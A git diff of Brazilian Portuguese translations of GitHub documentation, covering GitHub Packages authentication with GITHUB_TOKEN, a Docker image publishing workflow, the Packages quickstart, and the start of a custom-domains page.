-{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow.
+{% data variables.product.prodname_registry %} permite que você faça push e pull de pacotes por meio do `GITHUB_TOKEN` disponível para um fluxo de trabalho de {% data variables.product.prodname_actions %}.
 
 {% ifversion fpt or ghec %}
-## About permissions and package access for {% data variables.product.prodname_container_registry %}
+## Sobre permissões e acesso de pacote para {% data variables.product.prodname_container_registry %}
 
-The {% data variables.product.prodname_container_registry %} (`ghcr.io`) allows users to create and administer containers as free-standing resources at the organization level. Containers can be owned by an organization or personal user account and you can customize access to each of your containers separately from repository permissions.
+O {% data variables.product.prodname_container_registry %} (`ghcr.io`) permite aos usuários criar e administrar contêineres como recursos independentes no nível da organização. Os contêineres podem pertencer a uma conta de usuário ou organização e você pode personalizar o acesso a cada um dos seus contêineres separadamente das permissões de repositório.
 
-All workflows accessing the {% data variables.product.prodname_container_registry %} should use the `GITHUB_TOKEN` instead of a personal access token. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+Todos os workflows que acessam o {% data variables.product.prodname_container_registry %} devem usar o `GITHUB_TOKEN` em vez de um token de acesso pessoal. Para obter mais informações sobre as melhores práticas de segurança, consulte "[Enrijecimento de segurança para o GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)".
 
-## Default permissions and access settings for containers modified through workflows
+## Configurações padrão de permissões e acesso para contêineres modificados por meio de fluxos de trabalho
 
-When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well.
+Ao criar, instalar, modificar ou excluir um contêiner por meio de um fluxo de trabalho, existem algumas configurações padrão de permissão e acesso para garantir que os administradores tenham acesso ao fluxo de trabalho. Você também pode ajustar estas configurações de acesso.
 
-For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then:
-- The container inherits the visibility and permissions model of the repository where the workflow is run.
-- Repository admins where the workflow is run become the admins of the container once the container is created.
+Por exemplo, por padrão, se um fluxo de trabalho cria um contêiner usando o `GITHUB_TOKEN`:
+- O contêiner herdará o modelo de visibilidade e permissões do repositório onde o fluxo de trabalho é executado.
+- Os administradores do repositório onde o fluxo de trabalho é executado tornam-se os administradores do contêiner depois que o contêiner é criado.
 
-These are more examples of how default permissions work for workflows that manage packages.
+Estes são outros exemplos de como as permissões padrão funcionam para fluxos de trabalho que gerenciam pacotes.
 
-| {% data variables.product.prodname_actions %} workflow task | Default permissions and access |
-|----|----|
-| Download an existing container | - If the container is public, any workflow running in any repository can download the container. <br> - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise <br> - If the container is private, only workflows running in repositories that are given read permission on that container can download the container. <br>
-| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container.
-| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container.
+| Tarefa de fluxo de trabalho de {% data variables.product.prodname_actions %} | Acesso e permissões padrão                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Faça o download de um contêiner existente                                    | - Se o contêiner for público, qualquer fluxo de trabalho em execução em qualquer repositório poderá fazer o download do container. <br> - Se o contêiner for interno, todos os fluxos de trabalho em execução em qualquer repositório pertencente à conta corporativa poderão fazer o download do contêiner. Para organizações pertencentes a empresas, você poderá ler qualquer repositório na empresa <br> - Se o contêiner for privado, somente fluxos de trabalho executados em repositórios que recebem permissões de leitura nesse contêiner podem fazer o download do container. <br> |
+| Faça o upload de uma nova versão para um contêiner existente                 | - Se o contêiner for privado, interno ou público, somente fluxos de trabalho executados em repositórios que recebem permissões de gravação nesse contêiner podem fazer o upload de novas versões para o container.                                                                                                                                                                                                                                                                                                                                                                                             |
+| Excluir um contêiner ou versões de um contêiner                              | - Se o recipiente for privado, interno ou público, somente fluxos de trabalho executados em repositórios que recebem permissão de exclusão pode excluir versões existentes do container.                                                                                                                                                                                                                                                                                                                                                                                                                       |
 
-You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+Você também pode ajustar o acesso a contêineres de uma forma mais granular ou ajustar alguns dos comportamentos padrão de permissões. Para obter mais informações, consulte "[Configurar o controle de acesso e visibilidade de um pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)".
 
 {% endif %}
 
-## Publishing a package using an action
+## Publicar um pacote usando uma ação
 
-You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}.
+Você pode usar {% data variables.product.prodname_actions %} para publicar automaticamente pacotes como parte do fluxo de integração contínua (CI). Esta abordagem da implantação contínua (CD) permite que você automatize a criação de novas versões do pacote, se o código atender aos seus padrões de qualidade. Por exemplo, você pode criar um fluxo de trabalho que executa testes CI toda vez que um desenvolvedor faz push do código para um branch específico. Se os testes passarem, o fluxo de trabalho poderá publicar uma nova versão do pacote em {% data variables.product.prodname_registry %}.
 
 {% data reusables.package_registry.actions-configuration %}
 
-The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}.
+O exemplo a seguir demonstra como você pode usar {% data variables.product.prodname_actions %} para criar {% ifversion not fpt or ghec %}e testar {% endif %} seu aplicativo e, em seguida, criar automaticamente uma imagem Docker e publicá-la em {% data variables.product.prodname_registry %}.
 
-Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML:
+Crie um novo arquivo de fluxo de trabalho no repositório (como `.github/workflows/deploy-image.yml`) e adicione o YAML a seguir:
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
@@ -160,7 +160,7 @@ jobs:
 ```
 {% endif %}
 
-The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
+As configurações relevantes são explicadas na seguinte tabela. Para obter detalhes completos sobre cada elemento em um fluxo de trabalho, consulte "[sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
 
 <table>
 <tr>
@@ -174,7 +174,7 @@ on:
 {% endraw %}
 </td>
 <td>
-  Configures the <code>Create and publish a Docker image</code> workflow to run every time a change is pushed to the branch called <code>release</code>.
+  Configura o fluxo de trabalho <code>Criar e publicar uma imagem Docker</code> para ser executado toda vez que uma alteração é enviada para o branch denominado <code>versão</code>.
 </td>
 </tr>
 
@@ -191,7 +191,7 @@ env:
 {% endraw %}
 </td>
 <td>
-  Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
+  Define duas variáveis de ambiente personalizadas para o fluxo de trabalho. Estes são usados para o domínio de {% data variables.product.prodname_container_registry %} e um nome para a imagem Docker que esta fluxo de trabalho cria.
 </td>
 </tr>
 
@@ -206,7 +206,7 @@ jobs:
 {% endraw %}
 </td>
 <td>
-  There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
+  Há um único trabalho neste fluxo de trabalho. Ele está configurado para ser executado na última versão disponível do Ubuntu.
 </td>
 </tr>
 
@@ -232,7 +232,7 @@ run-npm-build:
 {% endraw %}
 </td>
 <td>
-  This job installs NPM and uses it to build the app.
+  Este trabalho instala o NPM e o usa para criar o aplicativo.
 </td>
 </tr>
 
@@ -267,7 +267,7 @@ run-npm-test:
 {% endraw %}
 </td>
 <td>
-  This job uses <code>npm test</code> to test the code. The <code>needs: run-npm-build</code> command makes this job dependent on the <code>run-npm-build</code> job.
+  Este trabalho usa <code>teste do npm</code> para testar o código. O comando <code>needs: run-npm-build</code> torna esse trabalho dependente do trabalho <code>run-npm-build</code>.
 </td>
 </tr>
 
@@ -282,7 +282,7 @@ build-and-push-image:
 {% endraw %}
 </td>
 <td>
-  This job publishes the package. The <code>needs: run-npm-test</code> command makes this job dependent on the <code>run-npm-test</code> job.
+  Este trabalho publica o pacote. O comando <code>needs: run-npm-test</code> torna essa tarefa dependente do trabalho <code>run-npm-test</code>.
 </td>
 </tr>
 
@@ -300,7 +300,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Sets the permissions granted to the <code>GITHUB_TOKEN</code> for the actions in this job.
+  Define as permissões concedidas ao <code>GITHUB_TOKEN</code> para as ações deste trabalho.
 </td>
 </tr> 
 {% endif %}
@@ -320,7 +320,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a step called <code>Log in to the {% data variables.product.prodname_container_registry %}</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+  Cria uma etapa denominada <code>Efetue o login em {% data variables.product.prodname_container_registry %}</code>, que faz login no registro usando a conta e a senha que publicará os pacotes. Uma vez publicados, os pacotes pertencem à conta definida aqui.
 </td>
 </tr>
 
@@ -337,7 +337,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  This step uses <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> to extract tags and labels that will be applied to the specified image. The <code>id</code> "meta" allows the output of this step to be referenced in a subsequent step. The <code>images</code> value provides the base name for the tags and labels.
+  Esta etapa usa <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> para extrair tags e etiquetas que serão aplicadas à imagem especificada. O <code>id</code> "meta" permite que a saída desta etapa seja referenciada em um passo subsequente. O valor das imagens de <code></code> fornece o nome da base para as tags e etiquetas.
 </td>
 </tr>
 
@@ -356,7 +356,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a new step called <code>Log in to GitHub Docker Registry</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+  Cria uma nova etapa denominada <code>Iniciar sessão no registro do GitHub Docker</code>, que faz login no registro usando a conta e a senha que publicará os pacotes. Uma vez publicados, os pacotes pertencem à conta definida aqui.
 </td>
 </tr>
 {% endif %}
@@ -370,7 +370,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a new step called <code>Build and push Docker image</code>. This step runs as part of the <code>build-and-push-image</code> job.
+  Cria uma nova etapa denominada <code>Criar e fazer push da imagem do Docker</code>. Esta etapa é executada como parte do trabalho <code>build-and-push-image</code>.
 </td>
 </tr>
 
@@ -383,7 +383,7 @@ uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
 {% endraw %}
 </td>
 <td>
-  Uses the Docker <code>build-push-action</code> action to build the image, based on your repository's <code>Dockerfile</code>. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
+  Usa a ação <code>build-push-action</code> do Docker para criar a imagem com base no <code>arquivo Docker</code> do seu repositório. Se a criação for bem-sucedida, ela faz p push da imagem para {% data variables.product.prodname_registry %}.
 </td>
 </tr>
 
@@ -396,7 +396,7 @@ with:
 {% endraw %}
 </td>
 <td>
-  Sends the required parameters to the <code>build-push-action</code> action. These are defined in the subsequent lines.
+  Envia os parâmetros necessários para a ação </code>build-push-action<code>. Estas são definidas nas linhas subsequentes.
 </td>
 </tr>
 
@@ -410,7 +410,7 @@ context: .
 {% endraw %}
 </td>
 <td>
-  Defines the build's context as the set of files located in the specified path. For more information, see "<a href="https://github.com/docker/build-push-action#usage">Usage</a>."
+  Define o contexto da criação como o conjunto de arquivos localizados no caminho especificado. Para obter mais informações, consulte "<a href="https://github.com/docker/build-push-action#usage">Uso</a>".
 </td>
 </tr>
 {% endif %}
@@ -424,7 +424,7 @@ push: true
 {% endraw %}
 </td>
 <td>
-  Pushes this image to the registry if it is built successfully.
+  Faz push desta imagem para o registro se for construída com sucesso.
 </td>
 </tr>
 
@@ -439,7 +439,7 @@ labels: ${{ steps.meta.outputs.labels }}
 {% endraw %}
 </td>
 <td>
-  Adds the tags and labels extracted in the "meta" step.
+  Adiciona as tags e etiquetas extraídos na etapa "meta".
 </td>
 </tr>
 
@@ -463,50 +463,47 @@ docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }}
 {% endif %}
 </td>
 <td>
-  Tags the image with the SHA of the commit that triggered the workflow.
+  Marca a imagem com o SHA do commit que acionou o fluxo de trabalho.
 </td>
 </tr>
 {% endif %}
 
 </table>
 
-This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab.
+Este novo fluxo de trabalho será executado automaticamente toda vez que você fizer uma alteração em uma `versão` nomeada do branch no repositório. Você pode visualizar o progresso na aba **Ações**.
 
-A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)."
+Alguns minutos após a conclusão do fluxo de trabalho, o novo pacote ficará visível no seu repositório. Para encontrar seus pacotes disponíveis, consulte "[Visualizar os pacotes de um repositório](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)".
 
 
-## Installing a package using an action
+## Instalar um pacote usando uma ação
 
-You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies.
+Você pode instalar pacotes como parte de seu fluxo de CI usando o {% data variables.product.prodname_actions %}. Por exemplo, você poderia configurar um fluxo de trabalho para que sempre que um desenvolvedor fizesse push do código para um pull request, o fluxo de trabalho resolveria as dependências, fazendo o download e instalando pacotes hospedados pelo {% data variables.product.prodname_registry %}. Em seguida, o fluxo de trabalho pode executar testes de CI que exigem as dependências.
 
-Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %}
+A instalação de pacotes hospedados pelo {% data variables.product.prodname_registry %} através {% data variables.product.prodname_actions %} exige uma configuração mínima ou uma autenticação adicional quando você usa o `GITHUB_TOKEN`.{% ifversion fpt or ghec %} A transferência de dados também é gratuita quando uma ação instala um pacote. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)".{% endif %}
 
 {% data reusables.package_registry.actions-configuration %}
 
 {% ifversion fpt or ghec %}
-## Upgrading a workflow that accesses `ghcr.io`
+## Atualizando um fluxo de trabalho que acessa `ghcr.io`
 
-The {% data variables.product.prodname_container_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a personal access token (PAT) to authenticate to `ghcr.io`, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`.
+O {% data variables.product.prodname_container_registry %} é compatível com `GITHUB_TOKEN` para autenticação fácil e segura nos seus fluxos de trabalho. Se seu fluxo de trabalho estiver usando um token de acesso pessoal (PAT) para efetuar a autenticação com `ghcr.io`, é altamente recomendável atualizar o seu fluxo de trabalho para usar o `GITHUB_TOKEN`.
 
-For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+Para obter mais informações sobre o `GITHUB_TOKEN`, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)".
 
-Using the `GITHUB_TOKEN` instead of a PAT, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived PAT that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+O uso do `GITHUB_TOKEN` em vez de um PAT, que inclui o escopo do `repositório` aumenta a segurança do repositório, pois você não precisa usar um PAT de longa duração que oferece acesso desnecessário ao repositório em que o seu fluxo de trabalho é executado. Para obter mais informações sobre as melhores práticas de segurança, consulte "[Enrijecimento de segurança para o GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)".
 
-1. Navigate to your package landing page.
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
+1. Acesse a página inicial do seu pacote.
+1. Na barra lateral esquerda, clique em **Acesso às ações**. ![Opção "Ações de acesso" no menu à esquerda](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+1. Para garantir que seu pacote de contêiner tenha acesso ao seu fluxo de trabalho, você deve adicionar o repositório em que o fluxo de trabalho é armazenado no contêiner. Clique **Adicionar repositório** e pesquise o repositório que deseja adicionar. ![Botão "Adicionar repositório"](/assets/images/help/package-registry/add-repository-button.png)
   {% note %}
 
-  **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+  **Observação:** Adicionar um repositório ao seu contêiner por meio da opção de menu **Acesso às ações** é diferente de conectar seu contêiner a um repositório. Para obter mais informações, consulte "[Garantir o acesso ao fluxo de trabalho para o seu pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" "[Conectar um repositório a um pacote](/packages/learn-github-packages/connecting-a-repository-to-a-package)".
 
   {% endnote %}
-1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
-1. Open your workflow file. On the line where you log in to `ghcr.io`, replace your PAT with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}.
+1. Opcionalmente, usando o menu suspenso "função", selecione o nível de acesso padrão que você gostaria que o repositório tivesse na imagem do seu contêiner. ![Níveis de acesso permitidos para repositórios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. Abra o arquivo do seu fluxo de trabalho. Na linha em que você efetua o login em `ghcr.io`, substitua seu PAT por {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}.
 
-For example, this workflow publishes a Docker image using {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate.
+Por exemplo, este fluxo de trabalho publica um imagem do Docker usando {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} para efetuar a autenticação.
 
 ```yaml{:copy}
 name: Demo Push
diff --git a/translations/pt-BR/content/packages/quickstart.md b/translations/pt-BR/content/packages/quickstart.md
index 7896aa0be5..db45e13e12 100644
--- a/translations/pt-BR/content/packages/quickstart.md
+++ b/translations/pt-BR/content/packages/quickstart.md
@@ -1,36 +1,36 @@
 ---
-title: Quickstart for GitHub Packages
-intro: 'Publish to {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}.'
+title: Inicie rapidamente para o GitHub Packages
+intro: 'Pulblique em {% data variables.product.prodname_registry %} com {% data variables.product.prodname_actions %}.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Quickstart
+shortTitle: QuickStart
 ---
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-In this guide, you'll create a {% data variables.product.prodname_actions %} workflow to test your code and then publish it to {% data variables.product.prodname_registry %}.
+Neste guia, você criará um fluxo de trabalho de {% data variables.product.prodname_actions %} para testar seu código e, em seguida, publicá-lo em {% data variables.product.prodname_registry %}.
 
-## Publishing your package
+## Publicar o seu pacote
 
-1. Create a new repository on {% data variables.product.prodname_dotcom %}, adding the `.gitignore` for Node. {% ifversion ghes < 3.1 %} Create a private repository if you’d like to delete this package later, public packages cannot be deleted.{% endif %} For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)."
-2. Clone the repository to your local machine.
+1. Crie um novo repositório em {% data variables.product.prodname_dotcom %}, adicionando o `.gitignore` ao Node. {% ifversion ghes < 3.1 %} Crie um repositório privado se você desejar excluir este pacote mais tarde. O pacotes públicos não podem ser excluídos.{% endif %} For more information, see "[Criar um novo repositório](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)."
+2. Clone o repositório para a sua máquina local.
     ```shell
     $ git clone https://{% ifversion ghae %}<em>YOUR-HOSTNAME</em>{% else %}github.com{% endif %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
     $ cd <em>YOUR-REPOSITORY</em>
     ```
-3. Create an `index.js` file and add a basic alert to say "Hello world!"
+3. Crie um arquivo `index.js` e adicione um alerta básico que diga "Hello world!"
     {% raw %}
     ```javascript{:copy}
     alert("Hello, World!");
     ```
     {% endraw %}
-4. Initialize an npm package with `npm init`. In the package initialization wizard, enter your package with the name: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, and set the test script to `exit 0`. This will generate a `package.json` file with information about your package.
+4. Inicialize um pacote npm com `npm init`. No assistente de inicialização de pacote, insira seu pacote com o nome: _`@YOUR-USERNAME/YOUR-REPOSITORY`_ e defina o script de teste para `exit 0`. Isto irá gerar um arquivo `package.json` com informações sobre o seu pacote.
     {% raw %}
     ```shell
     $ npm init
@@ -41,15 +41,15 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
       ...    
     ```
     {% endraw %}
-5. Run `npm install` to generate the `package-lock.json` file, then commit and push your changes to {% data variables.product.prodname_dotcom %}.
+5. Execute o `npm install` para gerar o arquivo `package-lock.json` e, em seguida, faça o commit e push das suas alterações para {% data variables.product.prodname_dotcom %}.
     ```shell
     $ npm install
     $ git add index.js package.json package-lock.json
     $ git commit -m "initialize npm package"
     $ git push
     ```
-6. Create a `.github/workflows` directory. In that directory, create a file named `release-package.yml`.
-7. Copy the following YAML content into the `release-package.yml` file{% ifversion ghae %}, replacing `YOUR-HOSTNAME` with the name of your enterprise{% endif %}.
+6. Crie um diretório `.github/workflows`. Nesse diretório, crie um arquivo denominado `release-package.yml`.
+7. Copiar o conteúdo YAML a seguir no arquivo `release-package.yml`{% ifversion ghae %}, substituindo `YOUR-HOSTNAME` pelo nome da sua empresa{% endif %}.
     ```yaml{:copy}
     name: Node.js Package
 
@@ -85,14 +85,14 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
             env:
               NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %}
     ```
-8. Tell NPM which scope and registry to publish packages to using one of the following methods:
-   - Add an NPM configuration file for the repository by creating a `.npmrc` file in the root directory with the contents:
+8. Diga ao NPM quais escopos e registros publicam pacotes usando um dos seguintes métodos:
+   - Adicione um arquivo de configuração do NPM para o repositório, criando um arquivo `.npmrc` no diretório raiz com o conteúdo:
       {% raw %}
       ```shell
       <em>@YOUR-USERNAME</em>:registry=https://npm.pkg.github.com
       ```
       {% endraw %}
-   - Edit the `package.json` file and specify the `publishConfig` key:
+   - Edite o arquivo `package.json` e especifique a chave `publishConfig`:
       {% raw %}
       ```shell
       "publishConfig": {
@@ -100,7 +100,7 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
       }
       ```
       {% endraw %}
-9. Commit and push your changes to {% data variables.product.prodname_dotcom %}.
+9. Faça commit e faça push das suas alterações para {% data variables.product.prodname_dotcom %}.
     ```shell
     $ git add .github/workflows/release-package.yml
     # Also add the file you created or edited in the previous step.
@@ -108,29 +108,29 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
     $ git commit -m "workflow to publish package"
     $ git push
     ```
-10.  The workflow that you created will run whenever a new release is created in your repository. If the tests pass, then the package will be published to {% data variables.product.prodname_registry %}.
-    
-    To test this out, navigate to the **Code** tab in your repository and create a new release. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)."
+10.  O fluxo de trabalho que você criou será executado sempre que uma nova versão for criada no seu repositório. Se os testes passarem, o pacote será publicado em {% data variables.product.prodname_registry %}.
 
-## Viewing your published package
+    Para testar isso, acesse a guia **Código** no repositório e crie uma nova versão. Para obter mais informações, consulte "[Gerenciando versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)."
 
-You can view all of the packages you have published.
+## Visualizar o seu pacote publicado
+
+Você pode ver todos os pacotes que você publicou.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.navigate-to-packages %}
 
 
-## Installing a published package
+## Instalar um pacote publicado
 
-Now that you've published the package, you'll want to use it as a dependency across your projects. For more information, see "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)."
+Agora que você publicou o pacote, você vai querer usá-lo como uma dependência nos seus projetos. Para obter mais informações, consulte "[Trabalhando com o registro npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)".
 
-## Next steps
+## Próximas etapas
 
-The basic workflow you just added runs any time a new release is created in your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_registry %}. You can publish your package to multiple registries with a single workflow, trigger the workflow to run on different events such as a merged pull request, manage containers, and more.
+O fluxo de trabalho básico que você acabou de adicionar é executado sempre que uma nova versão for criada no seu repositório. Mas este é apenas o início do que você pode fazer com {% data variables.product.prodname_registry %}. Pode publicar o seu pacote em vários registros com um único fluxo de trabalho, acionar o fluxo de trabalho para ser executado em eventos diferentes, como um pull request mesclado, gerenciar contêineres, entre outros.
 
-Combining {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %}:
+Combinar {% data variables.product.prodname_registry %} e {% data variables.product.prodname_actions %} pode ajudá-lo a automatizar quase todos os aspectos dos processos de desenvolvimento do seu aplicativo. Pronto para começar? Aqui estão alguns recursos úteis para dar seguir as próximas etapas com {% data variables.product.prodname_registry %} e {% data variables.product.prodname_actions %}:
 
-- "[Learn {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" for an in-depth tutorial on GitHub Packages
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial on GitHub Actions
-- "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)" for specific uses cases and examples
+- "[Aprenda sobre {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" para obter um tutorial aprofundado no GitHub Packages
+- "[Aprenda sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" para obter um tutorial aprofundado no GitHub Actions
+- "[Trabalhando com um registro de {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)" para casos e exemplos de usos específicos
diff --git a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
index 24357fc223..ac87e01173 100644
--- a/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
+++ b/translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -231,6 +231,8 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project
 
 Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
 
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
 ## Further reading
 
 - "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
index 8b423a877c..83219c48eb 100644
--- a/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
+++ b/translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: About custom domains and GitHub Pages
-intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.'
+title: Sobre domínios personalizados e GitHub Pages
+intro: 'O {% data variables.product.prodname_pages %} permite o uso de domínios personalizados, ou a alteração da raiz do URL do seu site do padrão, como ''octocat.github.io'', para qualquer domínio que você possua.'
 redirect_from:
   - /articles/about-custom-domains-for-github-pages-sites
   - /articles/about-supported-custom-domains
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Custom domains in GitHub Pages
+shortTitle: Domínios personalizados no GitHub Pages
 ---
 
-## Supported custom domains
+## Domínios personalizados compatíveis
 
